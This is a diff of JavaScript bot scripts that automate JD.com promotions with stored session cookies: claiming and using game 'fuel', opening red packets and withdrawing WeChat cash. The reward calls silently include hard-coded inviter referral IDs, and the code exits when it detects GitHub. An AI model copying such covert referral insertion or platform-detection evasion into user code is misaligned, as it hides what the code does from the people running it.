+ }
+ } catch (eor) {
+ // $.msg("天天加速-领取可用燃料" + eor.name + "‼️", JSON.stringify(eor), eor.message)
+ $.logErr(e, resp)
+ } finally {
+ if (CID.length === count) {
+ console.log("\n天天加速-已成功领取" + NumTask + "个可用燃料")
+ resolve(NumTask)
+ }
+ }
+ })
+ }
+ } else {
+ resolve(NumTask)
+ }
+ })
+}
+
+//检查剩余燃料
+function energyPropUsaleList(EID) {
+ return new Promise((resolve) => {
+ let TaskCID = '';
+ const body = { "source": "game"};
+ const EUrl = {
+ // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=energyProp_usalbeList&body=%7B%22source%22%3A%22game%22%7D',
+ url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=energyProp_usalbeList&body=${escape(JSON.stringify(body))}`,
+ headers: {
+ Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html',
+ Cookie: cookie
+ }
+ };
+ $.get(EUrl, (error, response, data) => {
+ try {
+ if (error) {
+ console.log("\n天天加速-查询道具ID请求失败 ‼️‼️")
+ console.log(`${JSON.stringify(error)}`)
+ } else {
+ if (data) {
+ const cc = JSON.parse(data);
+ if (cc.code === 0 && cc.success) {
+ if (cc.data.length > 0) {
+ for (let i = 0; i < cc.data.length; i++) {
+ if (cc.data[i].id) {
+ TaskCID += cc.data[i].id + ",";
+ }
+ }
+ if (TaskCID.length > 0) {
+ TaskCID = TaskCID.substr(0, TaskCID.length - 1).split(",")
+ console.log("\n天天加速-查询成功" + TaskCID.length + "个燃料ID")
+ } else {
+ console.log("\n天天加速-暂无有效燃料ID")
+ }
+ } else {
+ console.log("\n天天加速-查询无燃料ID")
+ }
+ }
+ } else {
+ console.log(`京豆api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (eor) {
+ // $.msg("天天加速-燃料ID" + eor.name + "‼️", JSON.stringify(eor), eor.message)
+ $.logErr(e, resp)
+ } finally {
+ resolve(TaskCID)
+ }
+ })
+ // if (EID) {
+ //
+ // } else {
+ // resolve(TaskCID)
+ // }
+ })
+}
+
+//使用能源
+function useEnergy(PropID) {
+ return new Promise((resolve) => {
+ var PropNumTask = 0;
+ let PropCount = 0
+ if (PropID) {
+ for (let i = 0; i < PropID.length; i++) {
+ let body = {
+ "source":"game",
+ "energy_id": PropID[i]
+ }
+ const PropUrl = {
+ // url: JD_API_HOST + '?appid=memberTaskCenter&functionId=energyProp_use&body=%7B%22source%22%3A%22game%22%2C%22energy_id%22%3A%22' + PropID[i] + '%22%7D',
+ url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=energyProp_use&body=${escape(JSON.stringify(body))}`,
+ headers: {
+ Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html',
+ Cookie: cookie
+ }
+ };
+ PropCount += 1;
+ $.get(PropUrl, (error, response, data) => {
+ try {
+ if (error) {
+ console.log("\n天天加速-使用燃料请求失败 ‼️‼️")
+ console.log(`${JSON.stringify(error)}`)
+ } else {
+ if (data) {
+ const cc = JSON.parse(data);
+ console.log("\n天天加速-尝试使用第" + PropCount + "个燃料")
+ if (cc.message === 'success' && cc.success === true) {
+ PropNumTask += 1
+ }
+ } else {
+ console.log(`京豆api返回数据为空,请检查自身原因`)
+ }
+ }
+ } catch (eor) {
+ // $.msg("天天加速-使用燃料" + eor.name + "‼️", JSON.stringify(eor), eor.message)
+ $.logErr(e, resp)
+ } finally {
+ if (PropID.length === PropCount) {
+ console.log("\n天天加速-已成功使用" + PropNumTask + "个燃料")
+ resolve(PropNumTask)
+ }
+ }
+ })
+ }
+ } else {
+ resolve(PropNumTask)
+ }
+ })
+}
+//虫洞
+function getMemBerList() {
+ return new Promise((resolve) => {
+ const body = { "source": "game", "status": 0};
+ const spaceEventUrl = {
+ url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=member_list&body=${escape(JSON.stringify(body))}&_t=${Date.now()}`,
+ headers: {
+ Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html',
+ Cookie: cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.get(spaceEventUrl, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ console.log(`${JSON.stringify(err)}`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data && data.success) {
+ for (let item of data.data) {
+ if (item['taskStatus'] === 0) {
+ $.log(`去领取【${item['title']}】任务\n`)
+ await getMemBerGetTask(item['sourceId']);
+ }
+ }
+ $.getRewardBeans = 0;
+ console.log(`\n检查是否可领虫洞京豆奖励`)
+ $.memBerList = data.data.filter(item => item['taskStatus'] === 2);
+ if ($.memBerList && $.memBerList.length > 0) {
+ for (let uuids of $.memBerList) {
+ await getReward(uuids['uuid']);
+ }
+ if ($.getRewardBeans > 0) {
+ $.msg(`${$.name}`, '', `京东账号${$.index} ${$.nickName}\n虫洞任务:获得${$.getRewardBeans}京豆`);
+ if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n虫洞任务:获得${$.getRewardBeans}京豆`)
+ }
+ } else {
+ console.log(`暂无可领取的虫洞京豆奖励`)
+ }
+ }
+ }
+ }
+ } catch (e) {
+ // $.msg("天天加速-查询太空特殊事件" + e.name + "‼️", JSON.stringify(e), e.message)
+ $.logErr(e, resp)
+ } finally {
+ resolve()
+ }
+ })
+ })
+}
+//领取虫洞任务API
+function getMemBerGetTask(sourceId) {
+ return new Promise((resolve) => {
+ const body = { "source": "game", sourceId};
+ const options = {
+ url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=member_getTask&body=${escape(JSON.stringify(body))}&_t=${Date.now()}`,
+ headers: {
+ Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html',
+ Cookie: cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.get(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ console.log(`${JSON.stringify(err)}`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data && data.success) {
+ // $.getRewardBeans += data.data.beans;
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve()
+ }
+ })
+ })
+}
+function getReward(uuid) {
+ return new Promise((resolve) => {
+ const body = { "source": "game", uuid};
+ const options = {
+ url: `${JD_API_HOST}?appid=memberTaskCenter&functionId=member_getReward&body=${escape(JSON.stringify(body))}&_t=${Date.now()}`,
+ headers: {
+ Referer: 'https://h5.m.jd.com/babelDiy/Zeus/6yCQo2eDJPbyPXrC3eMCtMWZ9ey/index.html',
+ Cookie: cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.get(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ console.log(`${JSON.stringify(err)}`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data && data.success) {
+ $.getRewardBeans += data.data.beans;
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve()
+ }
+ })
+ })
+}
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_speed_redpocke.js b/Task/jd_speed_redpocke.js
new file mode 100644
index 0000000..53c154d
--- /dev/null
+++ b/Task/jd_speed_redpocke.js
@@ -0,0 +1,503 @@
+/*
+京东极速版红包
+自动提现微信现金
+更新时间:2021-5-31
+活动时间:2021-4-6至2021-5-30
+活动地址:https://prodev.m.jd.com/jdlite/active/31U4T6S4PbcK83HyLPioeCWrD63j/index.html
+活动入口:京东极速版-领红包
+已支持IOS双京东账号,Node.js支持N个京东账号
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+============Quantumultx===============
+[task_local]
+#京东极速版红包
+20 0,22 * * * jd_speed_redpocke.js, tag=京东极速版红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+================Loon==============
+[Script]
+cron "20 0,22 * * *" script-path=jd_speed_redpocke.js,tag=京东极速版红包
+
+===============Surge=================
+京东极速版红包 = type=cron,cronexp="20 0,22 * * *",wake-system=1,timeout=3600,script-path=jd_speed_redpocke.js
+
+============小火箭=========
+京东极速版红包 = type=cron,script-path=jd_speed_redpocke.js, cronexpr="20 0,22 * * *", timeout=3600, enable=true
+*/
+
+const $ = new Env('京东极速版红包');
+
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+let cookiesArr = [], cookie = '', message;
+const linkId = "AkOULcXbUA_8EAPbYLLMgg";
+const signLinkId = '9WA12jYGulArzWS7vcrwhw';
+
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+ if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0);
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ console.log(`\n如提示活动火爆,可再执行一次尝试\n`);
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ message = '';
+ await TotalBean();
+ console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await jsRedPacket()
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+async function jsRedPacket() {
+ try {
+ await invite();
+ await sign();//极速版签到提现
+ await reward_query();
+ for (let i = 0; i < 3; ++i) {
+ await redPacket();//开红包
+ await $.wait(500)
+ }
+ await getPacketList();//领红包提现
+ await signPrizeDetailList();
+ await showMsg()
+ } catch (e) {
+ $.logErr(e)
+ }
+}
+
+
+function showMsg() {
+ return new Promise(resolve => {
+ if (message) $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`);
+ resolve()
+ })
+}
+async function sign() {
+ return new Promise(resolve => {
+ const body = {"linkId":signLinkId,"serviceName":"dayDaySignGetRedEnvelopeSignService","business":1};
+ const options = {
+ url: `https://api.m.jd.com`,
+ body: `functionId=apSignIn_day&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`,
+ headers: {
+ 'Cookie': cookie,
+ "Host": "api.m.jd.com",
+ 'Origin': 'https://daily-redpacket.jd.com',
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept": "*/*",
+ "Connection": "keep-alive",
+ "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;",
+ "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8",
+ 'Referer': 'https://daily-redpacket.jd.com/?activityId=9WA12jYGulArzWS7vcrwhw',
+ "Accept-Encoding": "gzip, deflate, br"
+ }
+ }
+ $.post(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = $.toObj(data);
+ if (data.code === 0) {
+ if (data.data.retCode === 0) {
+ message += `极速版签到提现:签到成功\n`;
+ console.log(`极速版签到提现:签到成功\n`);
+ } else {
+ console.log(`极速版签到提现:签到失败:${data.data.retMessage}\n`);
+ }
+ } else {
+ console.log(`极速版签到提现:签到异常:${JSON.stringify(data)}\n`);
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function reward_query() {
+ return new Promise(resolve => {
+ $.get(taskGetUrl("spring_reward_query", {
+ "inviter": ["hJyuwiDvDEc5-jIeec4Iyg", "r3yIDGE86HSsdtyFlrPHJHu_0mNpX_AnBREYO-c3BFY"][Math.floor((Math.random() * 2))],
+ linkId
+ }), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.code === 0) {
+
+ } else {
+ console.log(data.errMsg)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+async function redPacket() {
+ return new Promise(resolve => {
+ $.get(taskGetUrl("spring_reward_receive",{"inviter":["hJyuwiDvDEc5-jIeec4Iyg","r3yIDGE86HSsdtyFlrPHJHu_0mNpX_AnBREYO-c3BFY"][Math.floor((Math.random()*2))],linkId}),
+ async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.code === 0) {
+ if (data.data.received.prizeType !== 1) {
+ message += `获得${data.data.received.prizeDesc}\n`
+ console.log(`获得${data.data.received.prizeDesc}`)
+ } else {
+ console.log("获得优惠券")
+ }
+ } else {
+ console.log(data.errMsg)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+
+function getPacketList() {
+ return new Promise(resolve => {
+ $.get(taskGetUrl("spring_reward_list",{"pageNum":1,"pageSize":100,linkId,"inviter":""}), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.code === 0) {
+ for(let item of data.data.items.filter(vo => vo.prizeType===4)){
+ if(item.state===0){
+ console.log(`去提现${item.amount}微信现金`)
+ message += `提现${item.amount}微信现金,`
+ await cashOut(item.id,item.poolBaseId,item.prizeGroupId,item.prizeBaseId)
+ }
+ }
+ } else {
+ console.log(data.errMsg)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function signPrizeDetailList() {
+ return new Promise(resolve => {
+ const body = {"linkId":signLinkId,"serviceName":"dayDaySignGetRedEnvelopeSignService","business":1,"pageSize":20,"page":1};
+ const options = {
+ url: `https://api.m.jd.com`,
+ body: `functionId=signPrizeDetailList&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`,
+ headers: {
+ 'Cookie': cookie,
+ "Host": "api.m.jd.com",
+ 'Origin': 'https://daily-redpacket.jd.com',
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept": "*/*",
+ "Connection": "keep-alive",
+ "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;",
+ "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8",
+ 'Referer': 'https://daily-redpacket.jd.com/?activityId=9WA12jYGulArzWS7vcrwhw',
+ "Accept-Encoding": "gzip, deflate, br"
+ }
+ }
+ $.post(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = $.toObj(data);
+ if (data.code === 0) {
+ if (data.data.code === 0) {
+ const list = (data.data.prizeDrawBaseVoPageBean.items || []).filter(vo => vo['prizeType'] === 4 && vo['prizeStatus'] === 0);
+ for (let code of list) {
+ console.log(`极速版签到提现,去提现${code['prizeValue']}现金\n`);
+ message += `极速版签到提现,去提现${code['prizeValue']}微信现金,`
+ await apCashWithDraw(code['id'], code['poolBaseId'], code['prizeGroupId'], code['prizeBaseId']);
+ }
+ } else {
+ console.log(`极速版签到查询奖品:失败:${JSON.stringify(data)}\n`);
+ }
+ } else {
+ console.log(`极速版签到查询奖品:异常:${JSON.stringify(data)}\n`);
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) {
+ return new Promise(resolve => {
+ const body = {
+ "linkId": signLinkId,
+ "businessSource": "DAY_DAY_RED_PACKET_SIGN",
+ "base": {
+ "prizeType": 4,
+ "business": "dayDayRedPacket",
+ "id": id,
+ "poolBaseId": poolBaseId,
+ "prizeGroupId": prizeGroupId,
+ "prizeBaseId": prizeBaseId
+ }
+ }
+ const options = {
+ url: `https://api.m.jd.com`,
